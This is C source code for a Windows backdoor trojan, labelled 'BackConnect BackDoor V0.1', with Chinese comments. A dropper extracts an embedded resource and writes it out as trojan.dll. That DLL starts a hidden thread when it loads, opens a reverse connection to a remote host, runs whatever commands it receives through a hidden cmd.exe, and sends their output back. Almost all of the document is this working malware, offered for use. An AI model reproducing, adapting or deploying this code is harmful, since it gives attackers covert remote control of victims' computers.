// resource.h #define RC_BINARYTYPE 256 #define ID_MAGICDEL_DLL 100 DLL文件: #include <windows.h> #include<stdio.h> #include "resource.h" void WriteResourceToFile(char const *filename) { HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_MAGICDEL_DLL), MAKEINTRESOURCE(RC_BINARYTYPE)); HGLOBAL hgRes = LoadResource(hInstance, hResInfo); void *pvRes = LockResource(hgRes); DWORD cbRes = SizeofResource(hInstance, hResInfo); HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); DWORD cbWritten; WriteFile(hFile, pvRes, cbRes, &cbWritten, 0); CloseHandle(hFile); } int main(void) { WriteResourceToFile("trojan.dll"); return 0; } 主程序: #include<winsock2.h> #include<stdio.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib, "kernel32.lib") int StartSocket(); //连接函数 BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) //动态连接库的入口,相当于main()函数 { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DWORD id; CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id); break; } default: break; } return TRUE; } int StartSocket() { char *messages = " ======================== BackConnect BackDoor V0.1 ======================== ========= Welcome to Http://www.hackerxfiles.net ========= "; WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; char buf1[1024]; //作为socket接收数据的缓冲区 memset(buf1,0,1024); //清空缓冲区 if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:d ",WSAGetLastError()); return; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(80); //反向连接的远端主机端口 addr_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); //远端IP if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:d ",WSAGetLastError()); return; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) //连接客户主机 { printf("Connect failed.Error:d",WSAGetLastError()); return; } if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR) //发送欢迎信息 { printf("Send failed.Error:d ",WSAGetLastError()); return; } char buffer[2048] = {0};//管道输出的数据 for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){ SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出 HANDLE hRead,hWrite; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead,&hWrite,&sa,0)) { printf("Error On CreatePipe()"); return; } STARTUPINFO si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO); GetStartupInfo(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(cmdline,MAX_PATH+1); strcat(cmdline,"\cmd.exe /c"); int len=recv(sock,buf1,1024,NULL); if(len==SOCKET_ERROR)exit(0); //如果客户端断开连接,则自动退出程序 if(len<=1){send(sock,"error ",sizeof("error "),0);continue;} strncat(cmdline,buf1,strlen(buf1)); //把命令参数复制到cmdline if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) { send(sock,"Error command ",sizeof("Error command "),0); continue; } CloseHandle(hWrite); //循环读取管道中数据并发送,直到管道中没有数据为止 for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048)){ send(sock,buffer,strlen(buffer),0); } } return 0; }